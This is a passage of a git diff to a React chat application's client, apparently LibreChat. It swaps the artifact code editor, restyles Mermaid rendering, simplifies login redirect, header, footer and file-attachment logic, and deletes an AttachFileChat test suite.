- * The `as unknown` cast is required because monaco-editor v0.55 types `.languages.typescript`
- * as `{ deprecated: true }` while the runtime API is fully functional.
- */
- const handleBeforeMount = useCallback((monaco: Monaco) => {
- const { typescriptDefaults, javascriptDefaults, JsxEmit } = monaco.languages
- .typescript as unknown as {
- typescriptDefaults: {
- setDiagnosticsOptions: (o: {
- noSemanticValidation: boolean;
- noSyntaxValidation: boolean;
- }) => void;
- setCompilerOptions: (o: {
- allowNonTsExtensions: boolean;
- allowJs: boolean;
- jsx: number;
- }) => void;
- };
- javascriptDefaults: {
- setDiagnosticsOptions: (o: {
- noSemanticValidation: boolean;
- noSyntaxValidation: boolean;
- }) => void;
- setCompilerOptions: (o: {
- allowNonTsExtensions: boolean;
- allowJs: boolean;
- jsx: number;
- }) => void;
- };
- JsxEmit: { React: number };
+ return {
+ ...sharedOptions,
+ activeFile: '/' + fileKey,
+ bundlerURL: template === 'static' ? config.staticBundlerURL : config.bundlerURL,
};
- const diagnosticsOff = { noSemanticValidation: true, noSyntaxValidation: true };
- const compilerBase = { allowNonTsExtensions: true, allowJs: true, jsx: JsxEmit.React };
- typescriptDefaults.setDiagnosticsOptions(diagnosticsOff);
- javascriptDefaults.setDiagnosticsOptions(diagnosticsOff);
- typescriptDefaults.setCompilerOptions(compilerBase);
- javascriptDefaults.setCompilerOptions(compilerBase);
- }, []);
+ }, [config, template, fileKey]);
+ const initialReadOnly = (externalReadOnly ?? false) || (isSubmitting ?? false);
+ const [readOnly, setReadOnly] = useState(initialReadOnly);
+ useEffect(() => {
+ setReadOnly((externalReadOnly ?? false) || (isSubmitting ?? false));
+ }, [isSubmitting, externalReadOnly]);
- const handleMount = useCallback(
- (ed: editor.IStandaloneCodeEditor) => {
- monacoRef.current = ed;
- prevContentRef.current = ed.getModel()?.getValue() ?? artifact.content ?? '';
- if (readOnly) {
- const model = ed.getModel();
- if (model) {
- ed.revealLine(model.getLineCount());
- }
- }
- },
- // eslint-disable-next-line react-hooks/exhaustive-deps
- [monacoRef],
- );
-
- const language = getMonacoLanguage(artifact.type, artifact.language);
-
- const editorOptions = useMemo(
- () => ({
- readOnly,
- minimap: { enabled: false },
- lineNumbers: 'on',
- scrollBeyondLastLine: false,
- fontSize: 13,
- tabSize: 2,
- wordWrap: 'on',
- automaticLayout: true,
- padding: { top: 8 },
- renderLineHighlight: readOnly ? 'none' : 'line',
- cursorStyle: readOnly ? 'underline-thin' : 'line',
- scrollbar: {
- vertical: 'visible',
- horizontal: 'auto',
- verticalScrollbarSize: 8,
- horizontalScrollbarSize: 8,
- useShadows: false,
- alwaysConsumeMouseWheel: false,
- },
- overviewRulerLanes: 0,
- hideCursorInOverviewRuler: true,
- overviewRulerBorder: false,
- folding: false,
- glyphMargin: false,
- colorDecorators: !readOnly,
- occurrencesHighlight: readOnly ? 'off' : 'singleFile',
- selectionHighlight: !readOnly,
- renderValidationDecorations: readOnly ? 'off' : 'editable',
- quickSuggestions: !readOnly,
- suggestOnTriggerCharacters: !readOnly,
- parameterHints: { enabled: !readOnly },
- hover: { enabled: !readOnly },
- matchBrackets: readOnly ? 'never' : 'always',
- }),
- [readOnly],
- );
-
- if (!artifact.content) {
+ if (Object.keys(files).length === 0) {
return null;
}
return (
-
-
-
+
+
+
);
};
diff --git a/client/src/components/Artifacts/ArtifactTabs.tsx b/client/src/components/Artifacts/ArtifactTabs.tsx
index 32332215f0..8e2a92eb9c 100644
--- a/client/src/components/Artifacts/ArtifactTabs.tsx
+++ b/client/src/components/Artifacts/ArtifactTabs.tsx
@@ -1,26 +1,30 @@
import { useRef, useEffect } from 'react';
import * as Tabs from '@radix-ui/react-tabs';
import type { SandpackPreviewRef } from '@codesandbox/sandpack-react/unstyled';
-import type { editor } from 'monaco-editor';
+import type { CodeEditorRef } from '@codesandbox/sandpack-react';
import type { Artifact } from '~/common';
import { useCodeState } from '~/Providers/EditorContext';
+import { useArtifactsContext } from '~/Providers';
import useArtifactProps from '~/hooks/Artifacts/useArtifactProps';
+import { useAutoScroll } from '~/hooks/Artifacts/useAutoScroll';
import { ArtifactCodeEditor } from './ArtifactCodeEditor';
import { useGetStartupConfig } from '~/data-provider';
import { ArtifactPreview } from './ArtifactPreview';
export default function ArtifactTabs({
artifact,
+ editorRef,
previewRef,
isSharedConvo,
}: {
artifact: Artifact;
+ editorRef: React.MutableRefObject;
previewRef: React.MutableRefObject;
isSharedConvo?: boolean;
}) {
+ const { isSubmitting } = useArtifactsContext();
const { currentCode, setCurrentCode } = useCodeState();
const { data: startupConfig } = useGetStartupConfig();
- const monacoRef = useRef(null);
const lastIdRef = useRef(null);
useEffect(() => {
@@ -30,24 +34,33 @@ export default function ArtifactTabs({
lastIdRef.current = artifact.id;
}, [setCurrentCode, artifact.id]);
+ const content = artifact.content ?? '';
+ const contentRef = useRef(null);
+ useAutoScroll({ ref: contentRef, content, isSubmitting });
+
const { files, fileKey, template, sharedProps } = useArtifactProps({ artifact });
return (
-
+
-
+
();
const previewRef = useRef();
const [isVisible, setIsVisible] = useState(false);
const [isClosing, setIsClosing] = useState(false);
@@ -296,6 +297,7 @@ export default function Artifacts() {
}
previewRef={previewRef as React.MutableRefObject}
isSharedConvo={isSharedConvo}
/>
diff --git a/client/src/components/Artifacts/Code.tsx b/client/src/components/Artifacts/Code.tsx
index 001b010908..6894ce775b 100644
--- a/client/src/components/Artifacts/Code.tsx
+++ b/client/src/components/Artifacts/Code.tsx
@@ -1,8 +1,11 @@
-import React, { memo, useState } from 'react';
+import React, { memo, useEffect, useRef, useState } from 'react';
import copy from 'copy-to-clipboard';
+import rehypeKatex from 'rehype-katex';
+import ReactMarkdown from 'react-markdown';
import { Button } from '@librechat/client';
+import rehypeHighlight from 'rehype-highlight';
import { Copy, CircleCheckBig } from 'lucide-react';
-import { handleDoubleClick } from '~/utils';
+import { handleDoubleClick, langSubset } from '~/utils';
import { useLocalize } from '~/hooks';
type TCodeProps = {
@@ -26,6 +29,74 @@ export const code: React.ElementType = memo(({ inline, className, children }: TC
return {children};
});
+export const CodeMarkdown = memo(
+ ({ content = '', isSubmitting }: { content: string; isSubmitting: boolean }) => {
+ const scrollRef = useRef(null);
+ const [userScrolled, setUserScrolled] = useState(false);
+ const currentContent = content;
+ const rehypePlugins = [
+ [rehypeKatex],
+ [
+ rehypeHighlight,
+ {
+ detect: true,
+ ignoreMissing: true,
+ subset: langSubset,
+ },
+ ],
+ ];
+
+ useEffect(() => {
+ const scrollContainer = scrollRef.current;
+ if (!scrollContainer) {
+ return;
+ }
+
+ const handleScroll = () => {
+ const { scrollTop, scrollHeight, clientHeight } = scrollContainer;
+ const isNearBottom = scrollHeight - scrollTop - clientHeight < 50;
+
+ if (!isNearBottom) {
+ setUserScrolled(true);
+ } else {
+ setUserScrolled(false);
+ }
+ };
+
+ scrollContainer.addEventListener('scroll', handleScroll);
+
+ return () => {
+ scrollContainer.removeEventListener('scroll', handleScroll);
+ };
+ }, []);
+
+ useEffect(() => {
+ const scrollContainer = scrollRef.current;
+ if (!scrollContainer || !isSubmitting || userScrolled) {
+ return;
+ }
+
+ scrollContainer.scrollTop = scrollContainer.scrollHeight;
+ }, [content, isSubmitting, userScrolled]);
+
+ return (
+
+
+ {currentContent}
+
+
+ );
+ },
+);
+
export const CopyCodeButton: React.FC<{ content: string }> = ({ content }) => {
const localize = useLocalize();
const [isCopied, setIsCopied] = useState(false);
diff --git a/client/src/components/Artifacts/Mermaid.tsx b/client/src/components/Artifacts/Mermaid.tsx
index 5eb55be3ae..f7291998a4 100644
--- a/client/src/components/Artifacts/Mermaid.tsx
+++ b/client/src/components/Artifacts/Mermaid.tsx
@@ -1,123 +1,153 @@
-import React, { useEffect, useRef, useState, useCallback } from 'react';
+import React, { useEffect, useRef, useState } from 'react';
import mermaid from 'mermaid';
import { Button } from '@librechat/client';
-import { ZoomIn, ZoomOut, RotateCcw } from 'lucide-react';
-import { TransformWrapper, TransformComponent } from 'react-zoom-pan-pinch';
-import type { ReactZoomPanPinchRef } from 'react-zoom-pan-pinch';
-import { artifactFlowchartConfig } from '~/utils/mermaid';
+import { TransformWrapper, TransformComponent, ReactZoomPanPinchRef } from 'react-zoom-pan-pinch';
+import { ZoomIn, ZoomOut, RefreshCw } from 'lucide-react';
interface MermaidDiagramProps {
content: string;
- isDarkMode?: boolean;
}
-const MermaidDiagram: React.FC = ({ content, isDarkMode = true }) => {
+/** Note: this is just for testing purposes, don't actually use this component */
+const MermaidDiagram: React.FC = ({ content }) => {
const mermaidRef = useRef(null);
const transformRef = useRef(null);
const [isRendered, setIsRendered] = useState(false);
- const theme = isDarkMode ? 'dark' : 'neutral';
- const bgColor = isDarkMode ? '#212121' : '#FFFFFF';
useEffect(() => {
mermaid.initialize({
startOnLoad: false,
- theme,
+ theme: 'base',
securityLevel: 'sandbox',
- flowchart: artifactFlowchartConfig,
+ themeVariables: {
+ background: '#282C34',
+ primaryColor: '#333842',
+ secondaryColor: '#333842',
+ tertiaryColor: '#333842',
+ primaryTextColor: '#ABB2BF',
+ secondaryTextColor: '#ABB2BF',
+ lineColor: '#636D83',
+ fontSize: '16px',
+ nodeBorder: '#636D83',
+ mainBkg: '#282C34',
+ altBackground: '#282C34',
+ textColor: '#ABB2BF',
+ edgeLabelBackground: '#282C34',
+ clusterBkg: '#282C34',
+ clusterBorder: '#636D83',
+ labelBoxBkgColor: '#333842',
+ labelBoxBorderColor: '#636D83',
+ labelTextColor: '#ABB2BF',
+ },
+ flowchart: {
+ curve: 'basis',
+ nodeSpacing: 50,
+ rankSpacing: 50,
+ diagramPadding: 8,
+ htmlLabels: true,
+ useMaxWidth: true,
+ padding: 15,
+ wrappingWidth: 200,
+ },
});
const renderDiagram = async () => {
- if (!mermaidRef.current) {
- return;
- }
+ if (mermaidRef.current) {
+ try {
+ const { svg } = await mermaid.render('mermaid-diagram', content);
+ mermaidRef.current.innerHTML = svg;
- try {
- const { svg } = await mermaid.render('mermaid-diagram', content);
- mermaidRef.current.innerHTML = svg;
+ const svgElement = mermaidRef.current.querySelector('svg');
+ if (svgElement) {
+ svgElement.style.width = '100%';
+ svgElement.style.height = '100%';
- const svgElement = mermaidRef.current.querySelector('svg');
- if (svgElement) {
- svgElement.style.width = '100%';
- svgElement.style.height = '100%';
- }
- setIsRendered(true);
- } catch (error) {
- console.error('Mermaid rendering error:', error);
- if (mermaidRef.current) {
+ const pathElements = svgElement.querySelectorAll('path');
+ pathElements.forEach((path) => {
+ path.style.strokeWidth = '1.5px';
+ });
+
+ const rectElements = svgElement.querySelectorAll('rect');
+ rectElements.forEach((rect) => {
+ const parent = rect.parentElement;
+ if (parent && parent.classList.contains('node')) {
+ rect.style.stroke = '#636D83';
+ rect.style.strokeWidth = '1px';
+ } else {
+ rect.style.stroke = 'none';
+ }
+ });
+ }
+ setIsRendered(true);
+ } catch (error) {
+ console.error('Mermaid rendering error:', error);
mermaidRef.current.innerHTML = 'Error rendering diagram';
}
}
};
renderDiagram();
- }, [content, theme]);
+ }, [content]);
- const centerAndFitDiagram = useCallback(() => {
+ const centerAndFitDiagram = () => {
if (transformRef.current && mermaidRef.current) {
const { centerView, zoomToElement } = transformRef.current;
zoomToElement(mermaidRef.current as HTMLElement);
centerView(1, 0);
}
- }, []);
+ };
useEffect(() => {
if (isRendered) {
centerAndFitDiagram();
}
- }, [isRendered, centerAndFitDiagram]);
+ }, [isRendered]);
- const handlePanning = useCallback(() => {
- if (!transformRef.current) {
- return;
- }
+ const handlePanning = () => {
+ if (transformRef.current) {
+ const { state, instance } = (transformRef.current as ReactZoomPanPinchRef | undefined) ?? {};
+ if (!state || !instance) {
+ return;
+ }
+ const { scale, positionX, positionY } = state;
+ const { wrapperComponent, contentComponent } = instance;
- const { state, instance } = transformRef.current;
- if (!state || !instance) {
- return;
- }
- const { scale, positionX, positionY } = state;
- const { wrapperComponent, contentComponent } = instance;
+ if (wrapperComponent && contentComponent) {
+ const wrapperRect = wrapperComponent.getBoundingClientRect();
+ const contentRect = contentComponent.getBoundingClientRect();
+ const maxX = wrapperRect.width - contentRect.width * scale;
+ const maxY = wrapperRect.height - contentRect.height * scale;
- if (!wrapperComponent || !contentComponent) {
- return;
- }
+ let newX = positionX;
+ let newY = positionY;
- const wrapperRect = wrapperComponent.getBoundingClientRect();
- const contentRect = contentComponent.getBoundingClientRect();
- const maxX = wrapperRect.width - contentRect.width * scale;
- const maxY = wrapperRect.height - contentRect.height * scale;
+ if (newX > 0) {
+ newX = 0;
+ }
+ if (newY > 0) {
+ newY = 0;
+ }
+ if (newX < maxX) {
+ newX = maxX;
+ }
+ if (newY < maxY) {
+ newY = maxY;
+ }
- let newX = positionX;
- let newY = positionY;
-
- if (newX > 0) {
- newX = 0;
+ if (newX !== positionX || newY !== positionY) {
+ instance.setTransformState(scale, newX, newY);
+ }
+ }
}
- if (newY > 0) {
- newY = 0;
- }
- if (newX < maxX) {
- newX = maxX;
- }
- if (newY < maxY) {
- newY = maxY;
- }
-
- if (newX !== positionX || newY !== positionY) {
- instance.setTransformState(scale, newX, newY);
- }
- }, []);
+ };
return (
-
+
= ({ content, isDarkMode = t
-
+
>
diff --git a/client/src/components/Auth/Login.tsx b/client/src/components/Auth/Login.tsx
index 7c3adf51bd..48a506879f 100644
--- a/client/src/components/Auth/Login.tsx
+++ b/client/src/components/Auth/Login.tsx
@@ -1,19 +1,15 @@
import { useEffect, useState } from 'react';
import { ErrorTypes, registerPage } from 'librechat-data-provider';
import { OpenIDIcon, useToastContext } from '@librechat/client';
-import { useOutletContext, useSearchParams, useLocation } from 'react-router-dom';
+import { useOutletContext, useSearchParams } from 'react-router-dom';
import type { TLoginLayoutContext } from '~/common';
-import { getLoginError, persistRedirectToSession } from '~/utils';
import { ErrorMessage } from '~/components/Auth/ErrorMessage';
import SocialButton from '~/components/Auth/SocialButton';
import { useAuthContext } from '~/hooks/AuthContext';
+import { getLoginError } from '~/utils';
import { useLocalize } from '~/hooks';
import LoginForm from './LoginForm';
-interface LoginLocationState {
- redirect_to?: string;
-}
-
function Login() {
const localize = useLocalize();
const { showToast } = useToastContext();
@@ -21,22 +17,13 @@ function Login() {
const { startupConfig } = useOutletContext
();
const [searchParams, setSearchParams] = useSearchParams();
- const location = useLocation();
+ // Determine if auto-redirect should be disabled based on the URL parameter
const disableAutoRedirect = searchParams.get('redirect') === 'false';
+ // Persist the disable flag locally so that once detected, auto-redirect stays disabled.
const [isAutoRedirectDisabled, setIsAutoRedirectDisabled] = useState(disableAutoRedirect);
useEffect(() => {
- const redirectTo = searchParams.get('redirect_to');
- if (redirectTo) {
- persistRedirectToSession(redirectTo);
- } else {
- const state = location.state as LoginLocationState | null;
- if (state?.redirect_to) {
- persistRedirectToSession(state.redirect_to);
- }
- }
-
const oauthError = searchParams?.get('error');
if (oauthError && oauthError === ErrorTypes.AUTH_FAILED) {
showToast({
@@ -47,8 +34,9 @@ function Login() {
newParams.delete('error');
setSearchParams(newParams, { replace: true });
}
- }, [searchParams, setSearchParams, showToast, localize, location.state]);
+ }, [searchParams, setSearchParams, showToast, localize]);
+ // Once the disable flag is detected, update local state and remove the parameter from the URL.
useEffect(() => {
if (disableAutoRedirect) {
setIsAutoRedirectDisabled(true);
@@ -58,6 +46,7 @@ function Login() {
}
}, [disableAutoRedirect, searchParams, setSearchParams]);
+ // Determine whether we should auto-redirect to OpenID.
const shouldAutoRedirect =
startupConfig?.openidLoginEnabled &&
startupConfig?.openidAutoRedirect &&
@@ -71,6 +60,7 @@ function Login() {
}
}, [shouldAutoRedirect, startupConfig]);
+ // Render fallback UI if auto-redirect is active.
if (shouldAutoRedirect) {
return (
diff --git a/client/src/components/Chat/AddMultiConvo.tsx b/client/src/components/Chat/AddMultiConvo.tsx
index 48e9919092..7cabe0f336 100644
--- a/client/src/components/Chat/AddMultiConvo.tsx
+++ b/client/src/components/Chat/AddMultiConvo.tsx
@@ -1,21 +1,17 @@
-import { useCallback } from 'react';
-import { useSetRecoilState, useRecoilValue } from 'recoil';
import { PlusCircle } from 'lucide-react';
import { TooltipAnchor } from '@librechat/client';
import { isAssistantsEndpoint } from 'librechat-data-provider';
import type { TConversation } from 'librechat-data-provider';
-import { useGetConversation, useLocalize } from '~/hooks';
+import { useChatContext, useAddedChatContext } from '~/Providers';
import { mainTextareaId } from '~/common';
-import store from '~/store';
+import { useLocalize } from '~/hooks';
function AddMultiConvo() {
+ const { conversation } = useChatContext();
+ const { setConversation: setAddedConvo } = useAddedChatContext();
const localize = useLocalize();
- const getConversation = useGetConversation(0);
- const endpoint = useRecoilValue(store.conversationEndpointByIndex(0));
- const setAddedConvo = useSetRecoilState(store.conversationByIndex(1));
- const clickHandler = useCallback(() => {
- const conversation = getConversation();
+ const clickHandler = () => {
const { title: _t, ...convo } = conversation ?? ({} as TConversation);
setAddedConvo({
...convo,
@@ -26,13 +22,13 @@ function AddMultiConvo() {
if (textarea) {
textarea.focus();
}
- }, [getConversation, setAddedConvo]);
+ };
- if (!endpoint) {
+ if (!conversation) {
return null;
}
- if (isAssistantsEndpoint(endpoint)) {
+ if (isAssistantsEndpoint(conversation.endpoint)) {
return null;
}
diff --git a/client/src/components/Chat/Footer.tsx b/client/src/components/Chat/Footer.tsx
index 541647a8d0..75dd853c4f 100644
--- a/client/src/components/Chat/Footer.tsx
+++ b/client/src/components/Chat/Footer.tsx
@@ -1,11 +1,11 @@
-import React, { useEffect, memo } from 'react';
-import TagManager from 'react-gtm-module';
+import React, { useEffect } from 'react';
import ReactMarkdown from 'react-markdown';
+import TagManager from 'react-gtm-module';
import { Constants } from 'librechat-data-provider';
import { useGetStartupConfig } from '~/data-provider';
import { useLocalize } from '~/hooks';
-function Footer({ className }: { className?: string }) {
+export default function Footer({ className }: { className?: string }) {
const { data: config } = useGetStartupConfig();
const localize = useLocalize();
@@ -98,8 +98,3 @@ function Footer({ className }: { className?: string }) {
);
}
-
-const MemoizedFooter = memo(Footer);
-MemoizedFooter.displayName = 'Footer';
-
-export default MemoizedFooter;
diff --git a/client/src/components/Chat/Header.tsx b/client/src/components/Chat/Header.tsx
index 9e44e804c9..40e2c6b7ad 100644
--- a/client/src/components/Chat/Header.tsx
+++ b/client/src/components/Chat/Header.tsx
@@ -1,4 +1,4 @@
-import { memo, useMemo } from 'react';
+import { useMemo } from 'react';
import { useMediaQuery } from '@librechat/client';
import { useOutletContext } from 'react-router-dom';
import { AnimatePresence, motion } from 'framer-motion';
@@ -16,7 +16,7 @@ import { cn } from '~/utils';
const defaultInterface = getConfigDefaults().interface;
-function Header() {
+export default function Header() {
const { data: startupConfig } = useGetStartupConfig();
const { navVisible, setNavVisible } = useOutletContext();
@@ -35,11 +35,6 @@ function Header() {
permission: Permissions.USE,
});
- const hasAccessToTemporaryChat = useHasAccess({
- permissionType: PermissionTypes.TEMPORARY_CHAT,
- permission: Permissions.USE,
- });
-
const isSmallScreen = useMediaQuery('(max-width: 768px)');
return (
@@ -78,7 +73,7 @@ function Header() {
- {hasAccessToTemporaryChat === true && }
+
>
)}
@@ -90,7 +85,7 @@ function Header() {
- {hasAccessToTemporaryChat === true && }
+
)}
@@ -99,8 +94,3 @@ function Header() {
);
}
-
-const MemoizedHeader = memo(Header);
-MemoizedHeader.displayName = 'Header';
-
-export default MemoizedHeader;
diff --git a/client/src/components/Chat/Input/ChatForm.tsx b/client/src/components/Chat/Input/ChatForm.tsx
index fed355dcb3..45277e5b9c 100644
--- a/client/src/components/Chat/Input/ChatForm.tsx
+++ b/client/src/components/Chat/Input/ChatForm.tsx
@@ -194,7 +194,7 @@ const ChatForm = memo(({ index = 0 }: { index?: number }) => {
const baseClasses = useMemo(
() =>
cn(
- 'md:py-3.5 m-0 w-full resize-none py-[13px] placeholder-black/60 bg-transparent dark:placeholder-white/60 [&:has(textarea:focus)]:shadow-[0_2px_6px_rgba(0,0,0,.05)]',
+ 'md:py-3.5 m-0 w-full resize-none py-[13px] placeholder-black/50 bg-transparent dark:placeholder-white/50 [&:has(textarea:focus)]:shadow-[0_2px_6px_rgba(0,0,0,.05)]',
isCollapsed ? 'max-h-[52px]' : 'max-h-[45vh] md:max-h-[55vh]',
isMoreThanThreeRows ? 'pl-5' : 'px-5',
),
@@ -219,6 +219,7 @@ const ChatForm = memo(({ index = 0 }: { index?: number }) => {
{showPlusPopover && !isAssistantsEndpoint(endpoint) && (
{
)}
{showMentionPopover && (
{
- if (!isAgents || !conversation?.agent_id) {
- return undefined;
- }
- const agent = agentData || agentsMap?.[conversation.agent_id];
- return agent?.provider;
- }, [isAgents, conversation?.agent_id, agentData, agentsMap]);
+ const endpointType = useMemo(() => {
+ return (
+ getEndpointField(endpointsConfig, endpoint, 'type') ||
+ (endpoint as EModelEndpoint | undefined)
+ );
+ }, [endpoint, endpointsConfig]);
- const endpointType = useMemo(
- () => resolveEndpointType(endpointsConfig, endpoint, agentProvider),
- [endpointsConfig, endpoint, agentProvider],
- );
-
- const fileConfigEndpoint = useMemo(
- () => (isAgents && agentProvider ? agentProvider : endpoint),
- [isAgents, agentProvider, endpoint],
- );
const endpointFileConfig = useMemo(
() =>
getEndpointFileConfig({
+ endpoint,
fileConfig,
endpointType,
- endpoint: fileConfigEndpoint,
}),
- [fileConfigEndpoint, fileConfig, endpointType],
+ [endpoint, fileConfig, endpointType],
);
const endpointSupportsFiles: boolean = useMemo(
() => supportsFiles[endpointType ?? endpoint ?? ''] ?? false,
@@ -91,7 +82,7 @@ function AttachFileChat({
if (isAssistants && endpointSupportsFiles && !isUploadDisabled) {
return ;
- } else if ((isAgents || endpointSupportsFiles) && !isUploadDisabled) {
+ } else if (isAgents || (endpointSupportsFiles && !isUploadDisabled)) {
return (
= 'image_document';
if (currentProvider === Providers.GOOGLE || currentProvider === Providers.OPENROUTER) {
fileType = 'image_document_video_audio';
- } else if (
- currentProvider === Providers.BEDROCK ||
- endpointType === EModelEndpoint.bedrock
- ) {
- fileType = 'image_document_extended';
}
onAction(fileType);
},
diff --git a/client/src/components/Chat/Input/Files/DragDropModal.tsx b/client/src/components/Chat/Input/Files/DragDropModal.tsx
index cb5109c866..a59a7e3e9d 100644
--- a/client/src/components/Chat/Input/Files/DragDropModal.tsx
+++ b/client/src/components/Chat/Input/Files/DragDropModal.tsx
@@ -1,6 +1,14 @@
import React, { useMemo } from 'react';
import { useRecoilValue } from 'recoil';
import { OGDialog, OGDialogTemplate } from '@librechat/client';
+import {
+ Providers,
+ inferMimeType,
+ EToolResources,
+ EModelEndpoint,
+ defaultAgentCapabilities,
+ isDocumentSupportedProvider,
+} from 'librechat-data-provider';
import {
ImageUpIcon,
FileSearch,
@@ -8,15 +16,6 @@ import {
FileImageIcon,
TerminalSquareIcon,
} from 'lucide-react';
-import {
- Providers,
- inferMimeType,
- EToolResources,
- EModelEndpoint,
- isBedrockDocumentType,
- defaultAgentCapabilities,
- isDocumentSupportedProvider,
-} from 'librechat-data-provider';
import {
useAgentToolPermissions,
useAgentCapabilities,
@@ -78,26 +77,20 @@ const DragDropModal = ({ onOptionSelect, setShowModal, files, isVisible }: DragD
) {
const supportsImageDocVideoAudio =
currentProvider === EModelEndpoint.google || currentProvider === Providers.OPENROUTER;
- const isBedrock =
- currentProvider === Providers.BEDROCK || endpointType === EModelEndpoint.bedrock;
-
- const isValidProviderFile = (file: File): boolean => {
- const type = getFileType(file);
- if (supportsImageDocVideoAudio) {
- return (
- type?.startsWith('image/') ||
- type?.startsWith('video/') ||
- type?.startsWith('audio/') ||
- type === 'application/pdf'
- );
- }
- if (isBedrock) {
- return type?.startsWith('image/') || isBedrockDocumentType(type);
- }
- return type?.startsWith('image/') || type === 'application/pdf';
- };
-
- const validFileTypes = files.every(isValidProviderFile);
+ const validFileTypes = supportsImageDocVideoAudio
+ ? files.every((file) => {
+ const type = getFileType(file);
+ return (
+ type?.startsWith('image/') ||
+ type?.startsWith('video/') ||
+ type?.startsWith('audio/') ||
+ type === 'application/pdf'
+ );
+ })
+ : files.every((file) => {
+ const type = getFileType(file);
+ return type?.startsWith('image/') || type === 'application/pdf';
+ });
_options.push({
label: localize('com_ui_upload_provider'),
diff --git a/client/src/components/Chat/Input/Files/DragDropOverlay.tsx b/client/src/components/Chat/Input/Files/DragDropOverlay.tsx
index 43700206c3..f5f45e2b88 100644
--- a/client/src/components/Chat/Input/Files/DragDropOverlay.tsx
+++ b/client/src/components/Chat/Input/Files/DragDropOverlay.tsx
@@ -36,7 +36,7 @@ const DragDropOverlay = memo(({ isActive }: DragDropOverlayProps) => {
}}
>
{/** Content area with subtle background */}
-
+
| undefined;
abortUpload?: () => void;
setFiles: React.Dispatch>>;
- setFilesLoading?: React.Dispatch>;
+ setFilesLoading: React.Dispatch>;
fileFilter?: (file: ExtendedFile) => boolean;
assistant_id?: string;
agent_id?: string;
@@ -58,7 +58,6 @@ export default function FileRow({
const { deleteFile } = useFileDeletion({ mutateAsync, agent_id, assistant_id, tool_resource });
useEffect(() => {
- if (!setFilesLoading) return;
if (files.length === 0) {
setFilesLoading(false);
return;
@@ -112,15 +111,13 @@ export default function FileRow({
)
.uniqueFiles.map((file: ExtendedFile, index: number) => {
const handleDelete = () => {
+ showToast({
+ message: localize('com_ui_deleting_file'),
+ status: 'info',
+ });
if (abortUpload && file.progress < 1) {
abortUpload();
}
- if (file.progress >= 1) {
- showToast({
- message: localize('com_ui_deleting_file'),
- status: 'info',
- });
- }
deleteFile({ file, setFiles });
};
const isImage = file.type?.startsWith('image') ?? false;
@@ -136,7 +133,7 @@ export default function FileRow({
>
{isImage ? (
> = {};
-let mockAgentQueryData: Partial | undefined;
-
-jest.mock('~/data-provider', () => ({
- useGetEndpointsQuery: () => ({ data: mockEndpointsConfig }),
- useGetFileConfig: ({ select }: { select?: (data: unknown) => unknown }) => ({
- data: select != null ? select(mockFileConfig) : mockFileConfig,
- }),
- useGetAgentByIdQuery: () => ({ data: mockAgentQueryData }),
-}));
-
-jest.mock('~/Providers', () => ({
- useAgentsMapContext: () => mockAgentsMap,
-}));
-
-/** Capture the props passed to AttachFileMenu */
-let mockAttachFileMenuProps: Record = {};
-jest.mock('../AttachFileMenu', () => {
- return function MockAttachFileMenu(props: Record) {
- mockAttachFileMenuProps = props;
- return
;
- };
-});
-
-jest.mock('../AttachFile', () => {
- return function MockAttachFile() {
- return
;
- };
-});
-
-const queryClient = new QueryClient({ defaultOptions: { queries: { retry: false } } });
-
-function renderComponent(conversation: Record | null, disableInputs = false) {
- return render(
-
-
-
-
- ,
- );
-}
-
-describe('AttachFileChat', () => {
- beforeEach(() => {
- mockFileConfig = defaultFileConfig;
- mockAgentsMap = {};
- mockAgentQueryData = undefined;
- mockAttachFileMenuProps = {};
- });
-
- describe('rendering decisions', () => {
- it('renders AttachFileMenu for agents endpoint', () => {
- renderComponent({ endpoint: EModelEndpoint.agents, agent_id: 'agent-1' });
- expect(screen.getByTestId('attach-file-menu')).toBeInTheDocument();
- });
-
- it('renders AttachFileMenu for custom endpoint with file support', () => {
- renderComponent({ endpoint: 'Moonshot' });
- expect(screen.getByTestId('attach-file-menu')).toBeInTheDocument();
- });
-
- it('renders null for null conversation', () => {
- const { container } = renderComponent(null);
- expect(container.innerHTML).toBe('');
- });
- });
-
- describe('endpointType resolution for agents', () => {
- it('passes custom endpointType when agent provider is a custom endpoint', () => {
- mockAgentsMap = {
- 'agent-1': { provider: 'Moonshot', model_parameters: {} } as Partial,
- };
- renderComponent({ endpoint: EModelEndpoint.agents, agent_id: 'agent-1' });
- expect(mockAttachFileMenuProps.endpointType).toBe(EModelEndpoint.custom);
- });
-
- it('passes openAI endpointType when agent provider is openAI', () => {
- mockAgentsMap = {
- 'agent-1': { provider: EModelEndpoint.openAI, model_parameters: {} } as Partial,
- };
- renderComponent({ endpoint: EModelEndpoint.agents, agent_id: 'agent-1' });
- expect(mockAttachFileMenuProps.endpointType).toBe(EModelEndpoint.openAI);
- });
-
- it('passes agents endpointType when no agent provider', () => {
- renderComponent({ endpoint: EModelEndpoint.agents, agent_id: 'agent-1' });
- expect(mockAttachFileMenuProps.endpointType).toBe(EModelEndpoint.agents);
- });
-
- it('passes agents endpointType when no agent_id', () => {
- renderComponent({ endpoint: EModelEndpoint.agents });
- expect(mockAttachFileMenuProps.endpointType).toBe(EModelEndpoint.agents);
- });
-
- it('uses agentData query when agent not in agentsMap', () => {
- mockAgentQueryData = { provider: 'Moonshot' } as Partial;
- renderComponent({ endpoint: EModelEndpoint.agents, agent_id: 'agent-2' });
- expect(mockAttachFileMenuProps.endpointType).toBe(EModelEndpoint.custom);
- });
- });
-
- describe('endpointType resolution for non-agents', () => {
- it('passes custom endpointType for a custom endpoint', () => {
- renderComponent({ endpoint: 'Moonshot' });
- expect(mockAttachFileMenuProps.endpointType).toBe(EModelEndpoint.custom);
- });
-
- it('passes openAI endpointType for openAI endpoint', () => {
- renderComponent({ endpoint: EModelEndpoint.openAI });
- expect(mockAttachFileMenuProps.endpointType).toBe(EModelEndpoint.openAI);
- });
- });
-
- describe('consistency: same endpoint type for direct vs agent usage', () => {
- it('resolves Moonshot the same way whether used directly or through an agent', () => {
- renderComponent({ endpoint: 'Moonshot' });
- const directType = mockAttachFileMenuProps.endpointType;
-
- mockAgentsMap = {
- 'agent-1': { provider: 'Moonshot', model_parameters: {} } as Partial,
- };
- renderComponent({ endpoint: EModelEndpoint.agents, agent_id: 'agent-1' });
- const agentType = mockAttachFileMenuProps.endpointType;
-
- expect(directType).toBe(agentType);
- });
- });
-
- describe('upload disabled rendering', () => {
- it('renders null for agents endpoint when fileConfig.agents.disabled is true', () => {
- mockFileConfig = mergeFileConfig({
- endpoints: {
- [EModelEndpoint.agents]: { disabled: true },
- },
- });
- const { container } = renderComponent({
- endpoint: EModelEndpoint.agents,
- agent_id: 'agent-1',
